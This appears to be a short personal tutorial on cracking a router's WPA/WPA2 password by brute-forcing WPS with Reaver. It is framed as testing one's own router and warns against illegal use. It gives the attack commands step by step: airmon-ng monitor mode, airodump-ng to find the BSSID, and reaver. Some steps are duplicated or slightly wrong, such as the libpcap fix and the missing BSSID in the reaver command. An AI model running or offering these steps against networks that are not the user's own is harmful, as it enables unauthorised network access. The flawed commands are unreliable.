i wanted to test my Wireless Router against cracking WPA/WPA2
i found this tool reaver to brute force WPA/WPA2 using wifi Protected Setud (WPS)
the source of the code you can get it from here:
http://code.google.com/p/reaver-wps/
1- download the latest version (for me it was Reaver v1.4)
2- untar and cd to the created folder
3- install the script

2- untar and cd to the created folder
3- install the script
./configure
make
sudo make install
if you got problem related to missing libpcap do the following
sudo apt-get install libsqlite3-dev
4- install aircrack
sudo apt-get install aircrack-ng
5- find your wireless card (in my case it's wlan0)
iwconfig
6- put the wireless interface in monitoring mode
airmon-ng start wlan0
the output will give you the monitor interface name (in my case mon0)
7- Find the BSSID of the router to test
airodump-ng mon0
8- start the test
reaver -i mon0 -b -vv
now you need to wait for some hours until you got the password
you should run this test only on your router and don't try to use it illegally
